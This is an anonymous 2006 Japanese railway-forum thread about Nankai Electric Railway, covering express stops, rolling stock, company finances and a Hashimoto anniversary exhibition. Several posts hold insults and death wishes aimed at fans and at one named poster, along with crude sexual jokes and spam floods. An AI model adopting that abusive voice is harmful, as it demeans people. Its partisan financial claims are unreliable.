 ―=≡三 ヽ 阪和線 ̄⌒)>д(;;;((⌒ ̄ ̄ ̄_  ) 三≡=―
 ―=≡三 /  / ̄ ̄´"'''⊂;;;#':*,'´''::;;;;::'''"´ ̄ヽ \ 三≡=―
 ―=≡三 \__); ///(_ ,、 `^)^) \\\  (__) 三≡=―
                 ↑赤字南海





赤字南海ヲタが阪急萌えを自白
「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね!」




67 :名無し野電車区:2006/12/09(土) 04:06:18 ID:I9vW4Z22
おはよう

>>57
目のつけ所が・・・

68 :名無し野電車区:2006/12/09(土) 11:45:08 ID:35GuVmEm
なんでJR特急は和歌山の次は天王寺まで一気に走るのに
南海特急はたくさん停車駅があるの?
和歌山市を出たら泉佐野、堺市、天下茶屋、新今宮でいいじゃん。

69 :名無し野電車区:2006/12/09(土) 12:51:17 ID:Bn0JlC8w
>>68
特急が途中堺市に止まるのは、かなり大回りになると思われますが・・・。

70 : ◆PUREHEARTc :2006/12/09(土) 13:14:58 ID:SI7IVY91
テスト

71 :名無し野電車区:2006/12/09(土) 14:16:35 ID:sPPuUfym
すんな

72 :名無し野電車区:2006/12/09(土) 14:21:52 ID:0XLTnzb7
>>68
運行距離と目的と会社の違いからではないでしょうか。

そういえばJRの特急も鳳に停車するのがありますよね。

73 :名無し野電車区:2006/12/09(土) 14:47:36 ID:D7HMELMT
【昭和末期以降の南海の車両造りに対する熱意の高さと偉大さ】
昭和末期以降の車両ならどう考えても南海が一番上だろう。
昭和末期以降の大手私鉄の中で唯一はずれが一つも無いのが南海である。
9000系・1000系(1051F)・2000系・2300系・11000・30000系・31000系・50000系
とどれをとっても日本でトップレベルに値する名車であるのは周知の事実だろう。
知名度の高さも抜群。中でも特に1051F・31000系は関西史上最高傑作であろう。
他社の転クロやボックスシートを軽く凌駕するのはおろか、有料特急に
備われているリクライニングシートにすら勝る世界でも最強と言っても
過言ではない快適性を誇る1051Fのボックシートとバケットシート。
勿論デザインも世界に通用する秀逸な仕上がり。
なによりの証拠として西鉄・JR西日本・JR東日本なども当社の秀才な
カラーリングを参考にした経緯がある事である。
これに乗れば車両に対する南海の熱意や誠意やずば抜けたセンス
の高さにコストの使いどころの正しさ、偉大さの前に驚き、声を失い、
魅力に存分に惹かれることだろう。
ぜひ、これを見ている方々にも一度乗車する事をオススメしたい

74 :名無し野電車区:2006/12/09(土) 15:12:11 ID:W/7iYNB8
>>36
自虐やめい

75 :名無し野電車区:2006/12/09(土) 15:52:20 ID:Uur9IP7Q
>>72
特急はオッサンと休日便以外鳳・和泉府中・日根野(特にここ)・和泉砂川のどれかに大概停車、
あるいは大半に停車するのもあり、阪和ライナーはプラス東岸和田・熊取に終日停車。

>>74
なんかだんだんそれに見え(ry

76 :名無し野電車区:2006/12/09(土) 16:13:28 ID:EAbMslwn
青いのはカビだな

77 :名無し野電車区:2006/12/09(土) 16:14:08 ID:EAbMslwn
緑は藻だが

78 :名無し野電車区:2006/12/09(土) 16:32:16 ID:I9vW4Z22
カビにも触るとモフモフしてるのがあるらしいが

79 :名無し野電車区:2006/12/09(土) 17:06:31 ID:tC4J+lHf
それカビじゃねーよ多分

80 :名無し野電車区:2006/12/09(土) 17:35:15 ID:m5xrhc+P
南海ヲタが死ねば平和になるんだよ

81 :名無し野電車区:2006/12/09(土) 17:35:56 ID:m5xrhc+P
今年も南海ヲタは

ク    えっち     「あれ?今日はクリスマスなのにどこも行かないの?」    ギシギシ
リ          呼ばれないクリスマスパーティー                 アンアン
ス  明石家サンタ              彼         「あれ?暖房つけてるのに寒いよ?」
マ          多分来ない年賀状   女       童           
ス                 また今年もひとりきり   貞 「おまえなんで来んの?」
     今年のクリスマスは中止        ラ    ○          みんな幸せそう
                            ブ   /\        
  セクロス      気になるあの子も    ホ /   \ 街は     「あれ?お前呼んでないし」
                   DQNとズコバコ   / ̄ ̄ ̄\ カップル
        「えー?!マジ童貞?!キモーイ」/ ─    ─ \   だらけ  
彼女イナイ暦=年齢                 /  <○>  <○>  \          クリスマスも2ch
    2次元が恋人     イチャイチャ     |    (__人__)    |   
 ケーキ         ラブラブ          \    ` ⌒´    / 一人で過ごす
         アドレス帳      嫉妬   /             \      メリークリスマス!!

82 :名無し野電車区:2006/12/09(土) 18:33:33 ID:l2wi8t8w
>>76
赤いのは?

83 :名無し野電車区:2006/12/09(土) 18:58:01 ID:SCl9fWRV
>>82
赤いのは南海

84 :名無し野電車区:2006/12/09(土) 19:20:23 ID:7s1epV7z
バブル処理が完了した前期から黒字体質だったが、今期は完全な黒字経営へ戻ったな。
過去最高の成績ということで設備投資に弾みがついた。

85 :名無し野電車区:2006/12/09(土) 19:42:46 ID:aJJyToE3
聞きかじりの嘘臭い情報だが、
堺駅のLED設置は「未定。分からないです。遅くなるとは思いません。」

86 :名無し野電車区:2006/12/09(土) 19:45:36 ID:YOnjualL
日本の鉄道はお先真っ暗なので
ヒィリピンとかタイとかインドネシアとかで鉄道の経営とかどうでしょう?
「南海」電車なんやし
6000系とか「6000系」とか走らせて見たらええんとちゃいます?

87 :名無し野電車区:2006/12/09(土) 19:53:14 ID:eCfucmaj
来年度は高水準の投資となるんですよね。
車両の更新など動きだすと意外と早そうな気がする。
バブル期と違って大きなプロジェクトがたくさんある訳じゃないけど、
難波パークスや堺東の再開発などあるし。
堺東のボロい東口もマンションが建てば綺麗にされそう。
来年は泉佐野の工事完了と関空滑走路2本目運用開始で空港線の拡充なども。
関空会社は夜間の増発を要請しているし。

特急網の拡充もそろそろかな。
ミナピタカードと携帯チケットレスサービスの連携などあればいいし、
特急券売機でミナピタカードをかざすと指定券を買えると急ぐときは煩わしくなくていいよ。

節目の年になるやろね。

88 :名無し野電車区:2006/12/09(土) 19:55:34 ID:l2wi8t8w
俺の脳内ではカナダで2000系、インドネシアで7100系、オーストラリアで9000系が走ってる

89 :名無し野電車区:2006/12/09(土) 19:56:40 ID:I9vW4Z22
まあ実際にカナダに阪堺の車両は走ってるわけだが

90 :名無し野電車区:2006/12/09(土) 19:58:39 ID:l2wi8t8w
カナダは南海だろ

91 :名無し野電車区:2006/12/09(土) 20:02:29 ID:I9vW4Z22
あーどっちだっけ

92 :名無し野電車区:2006/12/09(土) 20:39:50 ID:9lPF9K0T
スピードダウンスピードダウン

実はJRより遅い〜

看板に偽りありの南海〜♪

93 :名無し野電車区:2006/12/09(土) 21:02:59 ID:rHpHRUin
むしろ205を買い戻せ

94 :名無し野電車区:2006/12/09(土) 21:31:23 ID:W/7iYNB8
パッとJRの奴が浮かんできた俺は負け組

95 :名無し野電車区:2006/12/09(土) 22:03:37 ID:Fkc+ZM8S
>>1


96 :名無し野電車区:2006/12/09(土) 22:03:37 ID:zHXe7KN8
これかえ?
http://www.tecta.co.jp/gokuraku/suteki15.htm

97 :名無し野電車区:2006/12/09(土) 22:08:38 ID:I9vW4Z22
そうそれ

98 :名無し野電車区:2006/12/09(土) 22:11:34 ID:6Mmh4z/9
>>87
kwksk

99 :名無し野電車区:2006/12/09(土) 22:29:21 ID:W/7iYNB8
サンフランシスコ辺りにもいたよな

100 :名無し野電車区:2006/12/09(土) 22:29:30 ID:QObdlIwx
6300系化改造、2000系ワンマン化改造、1000系増備、パターン制御ATS。

101 :名無し野電車区:2006/12/09(土) 22:30:22 ID:I9vW4Z22
100

102 :名無し野電車区:2006/12/09(土) 22:31:22 ID:I9vW4Z22
ミスった

103 :名無し野電車区:2006/12/09(土) 22:32:58 ID:YOnjualL
103系≠7000系

104 :名無し野電車区:2006/12/09(土) 22:46:40 ID:ToPSg4NT
>>103
んなこたぁ猿でも分かる

105 :名無し野電車区:2006/12/09(土) 22:48:07 ID:APhWS+Pn
俺猿だけど分かんねえ

106 :Apteryx australis ◆KIWIfHesuc :2006/12/09(土) 22:49:18 ID:yTeKT5Lx
>>1
乙です。

107 :名無し野電車区:2006/12/09(土) 22:51:42 ID:l2wi8t8w
あんた久々に見た

108 :名無し野電車区:2006/12/09(土) 22:53:16 ID:YOnjualL
高野山なんさたさんキテー

109 :名無し野電車区:2006/12/09(土) 22:57:38 ID:m5xrhc+P
日本の鉄道の最大の汚点である関東の汚物パイオニア台車を関西に持ち込んだ、

大阪市中央区難波を根城とする、鉄道業を題材としたお笑いを行う集団の名を答えなさい

110 :名無し野電車区:2006/12/09(土) 23:02:31 ID:ToPSg4NT
>>105
そんな例外は呼んでない

111 :名無し野電車区:2006/12/09(土) 23:15:53 ID:m8l4oe19
>>85
微妙

112 :名無し野電車区:2006/12/09(土) 23:24:13 ID:vFJleHzt
欧州から貰って米州に売る・・・
理不尽だぜ路面電車界は

113 :名無し野電車区:2006/12/09(土) 23:29:28 ID:ToPSg4NT
>>112
まあ阪堺は京都から来てんだけどな

114 :名無し野電車区:2006/12/09(土) 23:30:30 ID:ToPSg4NT
wyxe
http://uploader.onpuch.co.uk/img-box/img20061209230633579ee.jpg

115 :名無し野電車区:2006/12/09(土) 23:31:28 ID:ToPSg4NT
馬鹿じゃないのかと
http://uploader.onpuch.co.uk/img-box/img2006120920522091e86.jpg

116 :名無し野電車区:2006/12/09(土) 23:32:12 ID:ToPSg4NT
wyxe
http://uploader.onpuch.co.uk/img-box/img20061209212836fa367.jpg

117 :名無し野電車区:2006/12/09(土) 23:41:32 ID:/0vjJoxK
>>115
限界は敦賀だと勝手に思っていた。

118 :名無し野電車区:2006/12/09(土) 23:43:00 ID:I9vW4Z22
これは思いつかんかった

119 :名無し野電車区:2006/12/09(土) 23:49:59 ID:W/7iYNB8
ちょw青いのwww

120 :名無し野電車区:2006/12/09(土) 23:57:04 ID:tC4J+lHf
徳島エリアも対応しる

121 :名無し野電車区:2006/12/09(土) 23:59:59 ID:ToPSg4NT
>>120
徳バスのことですか

122 :名無し野電車区:2006/12/09(土) 23:59:59 ID:Gpff9TbN
南海は、早急に梅田に乗り入れるべきだ!!
梅田より先はJR神戸線に乗り入れるべき

123 :名無し野電車区:2006/12/09(土) 23:59:59 ID:l2wi8t8w
新スレ乙

124 :名無し野電車区:2006/12/09(土) 23:59:59 ID:HN+YGJuV


125 :名無し野電車区:2006/12/10(日) 00:00:19 ID:UdOptq3n


126 :名無し野電車区:2006/12/10(日) 00:00:33 ID:ToPSg4NT
こんなもんか

127 :名無し野電車区:2006/12/10(日) 00:00:52 ID:HdV2Ea2e
新スレ初と書いたつもりが・・・orz

128 :名無し野電車区:2006/12/10(日) 00:01:26 ID:tC4J+lHf
>>121
南海フェリーも

129 :名無し野電車区:2006/12/10(日) 00:02:00 ID:w9YhahqQ
すまぬ、忘れてた。

130 :名無し野電車区:2006/12/10(日) 00:03:39 ID:aAUeqEgG
再度の5連は無いのか。
●○*5●○*3●●○◎●○*7●*3○*7●○*2●◎◎CC◎BC○BB◎○◎○○BCB◎C◎○◎BB◎◎(27)
●C◎◎C◎B○◎◎◎B◎B◎◎B◎BC◎B○B(24) ●BC○BBDCBBC○B◎◎C◎◎BC(18)

131 :名無し野電車区:2006/12/10(日) 00:04:15 ID:ykBJIYLM
>>128
確かにフェリーは欲しい罠。
忘れてないといいんだが・・・。

132 :名無し野電車区:2006/12/10(日) 00:05:07 ID:aAUeqEgG
淡路ラインにも対応して欲しかった

133 :名無し野電車区:2006/12/10(日) 00:07:26 ID:UdOptq3n
フェリーもそうだがその前に特急券をPiTaPaでそのまま買えるようにしる

134 :名無し野電車区:2006/12/10(日) 00:08:21 ID:UdOptq3n
もちろん車内で、グリーフ車みたいな

135 :名無し野電車区:2006/12/10(日) 00:10:27 ID:w9YhahqQ
確かに特急券がピタパで買えないってのが一番痛いな。


136 :名無し野電車区:2006/12/10(日) 00:10:36 ID:ykBJIYLM
リニューアルせんといかんやん

137 :名無し野電車区:2006/12/10(日) 00:13:45 ID:9edVfnzo
まだ酉も対応しとらんけどな

138 :名無し野電車区:2006/12/10(日) 00:16:46 ID:5GCMVBBE
出し抜くのだ!

139 :名無し野電車区:2006/12/10(日) 00:18:49 ID:ykBJIYLM
ところでお前ら、
橋本の祭りについて一切言及していないのは何故だ

140 :名無し野電車区:2006/12/10(日) 00:20:19 ID:5GCMVBBE
何の話だ

141 :名無し野電車区:2006/12/10(日) 00:21:16 ID:ykBJIYLM
『橋本・大阪間電車開通90周年記念展』>>114

142 :名無し野電車区:2006/12/10(日) 00:26:50 ID:aAUeqEgG
例の奴がいきそうなイベンツだな。
だが行ってみる価値はありそうだ。

143 :鶚  ◆McS/TRY8cM :2006/12/10(日) 00:27:42 ID:Eh9KZ2Y5
・・・とりあえず、>>114の開催場所が分からんことには

144 :名無し野電車区:2006/12/10(日) 00:31:02 ID:YYX3aAN4
http://www.37vote.net/2kote/1164092471/all-50-10

145 :名無し野電車区:2006/12/10(日) 00:35:41 ID:drWDy2CI
4酉おめ

>>143
企業秘密です。

146 :名無し野電車区:2006/12/10(日) 00:47:22 ID:ykBJIYLM
>>143
橋本郷土資料館

147 :名無し野電車区:2006/12/10(日) 01:01:01 ID:61dyZF2T
http://www.mapfan.com/index.cgi?MAP=E135.36.12.1N34.20.16.5&ZM=10

148 :名無し野電車区:2006/12/10(日) 01:03:10 ID:xnyyVIbw
昨日羽倉崎に留置中の2000系が重機で潰される夢を見た・・・縁起でも無い。

149 :名無し野電車区:2006/12/10(日) 01:06:35 ID:xnyyVIbw
2007年の初夢は7000系の解体される夢だったらなぁ〜

150 :名無し野電車区:2006/12/10(日) 01:07:14 ID:61dyZF2T
おやすみ

151 :名無し野電車区:2006/12/10(日) 01:29:15 ID:ykBJIYLM
>>147


152 :名無し野電車区:2006/12/10(日) 01:30:50 ID:QJtetiAk
2007年の初夢は南海の倒産する夢だったらなぁ〜

153 :名無し野電車区:2006/12/10(日) 01:34:58 ID:drWDy2CI
おやすみ

154 :名無し野電車区:2006/12/10(日) 01:35:13 ID:QJtetiAk
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/
重複誘導
【代アニの】南海電気鉄道スレッドNa90【二の舞】
http://hobby7.2ch.net/test/read.cgi/rail/1165581791/

155 :名無し野電車区:2006/12/10(日) 01:36:00 ID:YYX3aAN4
>>114
甲種回送(当時は”輸送”じゃなかった)到着時の和歌山市で
ED5201形に連結された30000系…

156 :名無し野電車区:2006/12/10(日) 02:11:54 ID:rT3xDRR0


  ク    ク   || プ  / ク   ク  || プ  /
  ス  ク ス _  | | │ //. ス ク ス _ | | │ //
  / ス   ─  | | ッ // /  ス   ─ | | ッ //
   / _____  // /          //
    /   l⌒l l⌒l \  ))   ____
  . / / ̄| ,=| |=、| ̄ヾ   / ____ヽ
  / ̄/ ̄.  ー'●ー'  ̄l ̄ |  | /, −、, -、l  ))
  | ̄l ̄ ̄  __ |.    ̄l ̄.| _| -| ,=|=、 ||
  |. ̄| ̄ ̄  `Y⌒l__ ̄ノ ̄ (6.   ー っ-´、}
  ヽ  ヽ    人_(  ヾ    ヽ    `Y⌒l_ノ   減損処理で当期赤字に 南海電鉄決算
    >〓〓〓〓〓〓-イ   /ヽ  人_(  ヽ      ttp://www.asahi.com/kansai/news/OSK200605120072.html
  /   /  Θ  ヽ|  /    ̄ ̄ ̄ ヽ-イ




157 :名無し野電車区:2006/12/10(日) 02:34:53 ID:2iBcy9KP
30000系は更新したが、10000系は少なくとも1〜3次車が廃車か。

158 :名無し野電車区:2006/12/10(日) 03:03:02 ID:v6iCiX1p
>>157
いずれは廃車にするが、当面は4両のみとのことだが。
代わりの新車が入らない限りは続投。
指定席特急の比重を高めるのそうで、まとまった数の車両が入らないと廃車はまだ。

159 :名無し野電車区:2006/12/10(日) 03:14:20 ID:LaLM/B2M
>>139
そういえば,千代田のイベントの時にこの橋本イベントのビラもらってました。
12月26日まで。(月曜・祝日の翌日休館)
「堺橋鉄道から南海高野線まで --橋本・大阪間電車開通90年記念展
            今 明らかにされる南海高野線波瀾万丈の歴史」
だそうです。

160 :名無し野電車区:2006/12/10(日) 05:23:53 ID:qU+ePFV3
堺筋線につづいてなにわ筋線でも阪急にやられた  OTL

161 :名無し野電車区:2006/12/10(日) 06:21:51 ID:4rmsMDLy
南海ヲタは特定のヲタを叩くのがほんと大好きなんだねwww
南海に興味ある香具師は全員キセル、敷地内侵入、盗撮、交通違反は当たり前にやってんだろwww

162 :名無し野電車区:2006/12/10(日) 09:34:08 ID:EaUTB4DF
2000は何であんなに下品なインバータ音を出すの?

163 :名無し野電車区:2006/12/10(日) 09:50:10 ID:QJtetiAk
>>162
下品な南海沿線を走る車両だから
VVVF音も下品なのは当然だ。

164 :鶚  ◆McS/TRY8cM :2006/12/10(日) 09:51:02 ID:xFSUq3I2
>>146 >>159
理解した・・・ というか、御幸辻の近く?なのか

165 :名無し野電車区:2006/12/10(日) 09:52:36 ID:xWC0MCjQ
定期買いたいので買い方教えてください。

166 :名無し野電車区:2006/12/10(日) 10:12:50 ID:E89WCLbg
まずお金がいるので働くためにダイソに履歴書をかいにいく

167 :159:2006/12/10(日) 10:51:41 ID:LaLM/B2M
>>164
ビラによると御幸辻駅から徒歩8分だそうです。

168 :名無し野電車区:2006/12/10(日) 14:05:42 ID:Ji3pWTkV
No.1275 Re2: 南海掲示板 らぐ [2006/12/08(金)23:40:32]

今回のパスワードですが、
特に問題はないと思いますが、
もし、今度パスワードを変えるときに、また
「higeshin」などに変更する場合は、
dear NANKAIの掲示板利用規約のところに、パスワードを書いてみてはいかがでしょうか

(掲示板での告知はせずに、パスワードを変更しました。という程度で告知)
規約を読まなければ、パスワードを手に入れることができない。
パスワードを手に入れた=規約を読んだことになる?ので、
ある意味、簡単に書き込むことができなくなると思いますが・・・

パスワードの意味をご存知ですか?人間ですか?

169 :名無し野電車区:2006/12/10(日) 14:26:19 ID:aAUeqEgG
>>167
地図で見るより微妙な距離だな。まあいいけど。

>>168
(;゚Д゚)…

170 :名無し野電車区:2006/12/10(日) 15:22:08 ID:gOGUdJh6
>>156
ネタに突っ込んで何だが
減損処理できるのは経営体力なんだぞ〜!
減損処理できない銀行・ゼネコン・不動産会社・流通系が
ほんの4〜5年前にバタバタ潰れたんだぞ〜!

171 :名無し野電車区:2006/12/10(日) 15:26:20 ID:x5bsVd0i
つまり性欲処理ができている俺の男性器、手の神経、やる気は潰れないと?

172 :名無し野電車区:2006/12/10(日) 15:31:28 ID:61dyZF2T
橋本の記念展、近鉄のマークが並んでいると妙に感じる人もいるかと思われるが、
個人的には近鉄が橋本にいても大した違和感を感じないんだけどな。
五條に南海バスがいてもどうとも思わないのと一緒?で。

173 :名無し野電車区:2006/12/10(日) 15:59:11 ID:UdOptq3n
しかし橋本に奈良交通は来ない

174 :名無し野電車区:2006/12/10(日) 16:52:37 ID:61dyZF2T
鹿が来ずとも一向に構わんよ

175 :名無し野電車区:2006/12/10(日) 17:35:26 ID:MMj/Zuon
仕方あるめえ、一時「大近鉄」だったのは事実だし。

176 :名無し野電車区:2006/12/10(日) 17:58:26 ID:HdV2Ea2e
てか近鉄作ったのは関急(と大鉄)と南海の共同なわけだし、
受け皿として社名と母体を貰えたのが関急側だったというだけなわけで。

177 :名無し野電車区:2006/12/10(日) 18:12:15 ID:rT3xDRR0
南海はボロイ

178 :名無し野電車区:2006/12/10(日) 18:14:16 ID:9edVfnzo
近鉄じゃなくて近日だよ、と言ってみる

179 :名無し野電車区:2006/12/10(日) 18:14:26 ID:rT3xDRR0
>>170
事実だけど?
ネタだと思ってんの?

もうちょっと現実を直視したらどう?

180 :名無し野電車区:2006/12/10(日) 18:15:48 ID:rT3xDRR0
>>170
ハイ、これがその現実。

                ◆◇◆◇◆ 減損処理で当期赤字に 南海電鉄決算 ◆◇◆◇◆

                                                2006年05月12日

       南海電気鉄道が12日発表した06年3月期連結決算は、売上高が前期比2.9%減の1904億円、
      来園者が減少している遊園地「みさき公園」(大阪府岬町)などの減損処理で発生した特別損失が
      210億円に上り、当期損益は65億円の赤字になった。

                ソース:www.asahi.com/kansai/news/OSK200605120072.html


181 :名無し野電車区:2006/12/10(日) 18:16:32 ID:FIlz8gHW
過去最高益・突出した大幅黒字だから安心だな>南海

182 :名無し野電車区:2006/12/10(日) 18:21:37 ID:FIlz8gHW
関西大手私鉄、3社増益 リストラ・関連事業で確保 2006年11月24日
ttp://www.asahi.com/kansai/news/OSK200611240088.html

南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。
南海電気鉄道は貴志川線(和歌山市など)の営業譲渡によるコスト削減もあり、過去最高の営業利益だった。

183 :名無し野電車区:2006/12/10(日) 18:28:19 ID:61dyZF2T
>>178
近畿日本奈良

184 :名無し野電車区:2006/12/10(日) 18:53:52 ID:UYNYYi2J
御幸辻、高野線単独駅唯一の高架駅・・・

185 :名無し野電車区:2006/12/10(日) 18:56:21 ID:rT3xDRR0
南海のような客商売が、どんどんと路線廃止し沿線住民に嫌われてコスト削減してるようじゃ、将来は真っ暗だなw


186 :名無し野電車区:2006/12/10(日) 18:57:53 ID:aAUeqEgG
>>184
岸玉もある意味では

187 :名無し野電車区:2006/12/10(日) 19:11:55 ID:zlekXMxl
貴志川線は鉄道として維持できるよう、譲渡先が決まる前の時点であっても
南海は手を抜かず保守整備を怠らなかったらしいね。

188 :名無し野電車区:2006/12/10(日) 19:17:15 ID:AUpHgo54
そこが和歌山鐵道や地元の代表者に加え、識者から評価されているとRJに紹介されていたな。

189 :名無し野電車区:2006/12/10(日) 19:22:49 ID:z4MsL/TD
>>187
>>188
貴志川線すら維持できない情けない南海

190 :名無し野電車区:2006/12/10(日) 19:32:54 ID:rT3xDRR0
営業を放棄した南海は沿線住民から完全に嫌われてるし、何書いても負け犬の遠吠えだなw


191 :名無し野電車区:2006/12/10(日) 19:39:13 ID:61dyZF2T
>>186
汐見橋線ホームは本線と隣接しとるがな

192 :名無し野電車区:2006/12/10(日) 20:01:47 ID:QJtetiAk
昨日南海が阪急に潰される夢を見た・・・縁起でも無い。

193 :名無し野電車区:2006/12/10(日) 20:30:07 ID:qdaI1LTm
今宮戎や萩ノ茶屋も高野線単独の高架駅じゃないの?

194 :名無し野電車区:2006/12/10(日) 20:31:22 ID:rT3xDRR0
>>192
心配すんな。
阪急は、南海みたいなお荷物なんか相手にもしないから。

195 :名無し野電車区:2006/12/10(日) 21:12:21 ID:61dyZF2T
>>193
・・・

196 :名無し野電車区:2006/12/10(日) 21:22:55 ID:t7NiW+3Z
いつもコピペを貼ってる方に注文です。昭和60年頃にみさき公園駅で起きた殺人事件の詳細も貼ってくだされ。

197 :名無し野電車区:2006/12/10(日) 21:29:02 ID:5GCMVBBE
>>193
それ本線の駅だから

198 :名無し野電車区:2006/12/10(日) 21:34:33 ID:MMj/Zuon
あるものしか張れない無能者に過剰な期待をしてやるな、哀れだから。

199 :名無し野電車区:2006/12/10(日) 21:36:08 ID:9edVfnzo
>>193
確かに高野線の駅と見なせなくは無いがそれは違う

200 :名無し野電車区:2006/12/10(日) 21:36:31 ID:UdOptq3n
200

201 :名無し野電車区:2006/12/10(日) 21:45:37 ID:ymwY3voK
石津のJJ潰れたのかよ!!

202 :名無し野電車区:2006/12/10(日) 21:47:05 ID:RJIAIvHp
何を今更

203 :名無し野電車区:2006/12/10(日) 21:57:11 ID:HdV2Ea2e
JJは全国で絶賛解体中
しかも堺にラウンド1が出来たものだから・・・

204 :名無し野電車区:2006/12/10(日) 22:00:05 ID:UdOptq3n
ああ

205 :名無し野電車区:2006/12/10(日) 22:02:53 ID:aAUeqEgG
>>199
もう高野線にしてやっても・・・なんてな

206 :名無し野電車区:2006/12/10(日) 22:07:00 ID:61dyZF2T
貝塚のは黒字らしい>JJ

207 :名無し野電車区:2006/12/10(日) 22:18:28 ID:x5bsVd0i
和歌山のぶらくらにもあるを

208 :名無し野電車区:2006/12/10(日) 22:20:00 ID:HdV2Ea2e
一時期ラウワンが無くなって(´・ω・`)ショボーンとしてた俺には堺ラウワンのが満足
てか堺東より堺のが面白いよねぇ

209 :名無し野電車区:2006/12/10(日) 22:21:59 ID:QJtetiAk
>>196
1月13日 南海電鉄みさき公園駅殺人事件

午前8時25分頃、大阪府泉南郡岬町、南海本線みさき公園駅ののぼりホームで、近くの会社員Hさん(49歳)の腰を、
駆け寄ってきた町内の高校3年・A(当時18歳)が蹴って突き落とし、Hさんは進入してきた急行電車とホームに挟まれ死亡した。
Aはたまたまホームにいた泉南署の巡査部長に現行犯逮捕。
 
Aは通学途中、改札口を出た同駅地下通路でHさんと肩が触れたため口論となった。
Hさんにすごまれたため、Aと友人は逃げたが、怒りのおさまらないAが追いかけて蹴ったという。 

210 :名無し野電車区:2006/12/10(日) 22:26:07 ID:61dyZF2T
>>208
んなこと聞かれても困る

211 :名無し野電車区:2006/12/10(日) 22:36:46 ID:5GCMVBBE
和歌山の店も京都の店も閉店したそうだ

212 : ◆sxrGNKzbRg :2006/12/10(日) 22:38:04 ID:K3YwEOMc
そこで漏れが復活ですよ

213 :名無し野電車区:2006/12/10(日) 22:51:31 ID:9edVfnzo
そうはいかない

214 : ◆sxrGNKzbRg :2006/12/10(日) 22:55:28 ID:K3YwEOMc
>>213
orz

215 :名無し野電車区:2006/12/10(日) 22:58:07 ID:x5bsVd0i
若槻千夏バグったからJJもバグったと?

216 :名無し野電車区:2006/12/10(日) 23:05:44 ID:bXYsjDw8
若槻千夏とかいたなぁ・・・

217 :名無し野電車区:2006/12/10(日) 23:17:44 ID:3u9kP96z
堺セブンプラザの呪いが…

218 :名無し野電車区:2006/12/10(日) 23:18:15 ID:l4aosyYi
>>178
確かに近鉄は「近江鉄道」の略だしね

219 :鶚  ◆McS/TRY8cM :2006/12/10(日) 23:21:47 ID:hTBtjrT1
読みは違いますけどね

ところで、13:48〜50頃に掛けて難波駅北改札の発車案内標識(高野線側)がバグったみたいなんですけど、
アレってその度にリセット?とかするんですか なんか、見てたら一瞬全ての案内表示が消えてビビりました

220 :名無し野電車区:2006/12/10(日) 23:23:44 ID:ujZnh8LG
http://www.37vote.net/2kote/1164092471/all-50-10

221 :名無し野電車区:2006/12/10(日) 23:24:40 ID:QJtetiAk
>>219
死ねゴミ
鶚◆McS/TRY8cM

222 :名無し野電車区:2006/12/10(日) 23:27:56 ID:bXYsjDw8
そういや、
今の近江鉄道の愛称って何なんだ?
「近江」?「近鉄」?「長男」?

223 :名無し野電車区:2006/12/10(日) 23:29:54 ID:UdOptq3n
企業秘密です。

224 :名無し野電車区:2006/12/10(日) 23:29:57 ID:cz7nZGt/
ここで使ってやるぜ!
企業秘密です!!

225 :名無し野電車区:2006/12/10(日) 23:30:35 ID:cz7nZGt/
orz

226 :名無し野電車区:2006/12/10(日) 23:30:51 ID:bXYsjDw8
ワロタ

227 :名無し野電車区:2006/12/10(日) 23:31:39 ID:EBSakNTE
しばらく高野線沿線を離れてたんだが、何気に三日市のダイヤがえらく不便になってますね・・

客が減ってるのは事実だろうけど。

228 :名無し野電車区:2006/12/10(日) 23:35:17 ID:kg5yL7vP
回復傾向です。

229 :名無し野電車区:2006/12/10(日) 23:36:36 ID:rT3xDRR0
南海ヲタの必死さには笑える!

230 :名無し野電車区:2006/12/10(日) 23:36:59 ID:HdV2Ea2e
>>225
こういうのって悲しいよね(´・ω・`)

231 :名無し野電車区:2006/12/10(日) 23:39:49 ID:UdOptq3n
>>227
何気に三日市は近鉄の駅

232 :名無し野電車区:2006/12/10(日) 23:48:24 ID:aAUeqEgG
>>219
それはソラリーの部分なのか幕の部分なのか

233 :名無し野電車区:2006/12/10(日) 23:49:13 ID:z4MsL/TD
南海は汚くてボロイ電車

234 :名無し野電車区:2006/12/10(日) 23:50:42 ID:vALBZDhm
次期改正で橋本方面を強化するんでそ?

235 :名無し野電車区:2006/12/10(日) 23:55:39 ID:KSQwgAjF
>>232
幕じゃなくてLEDだろ

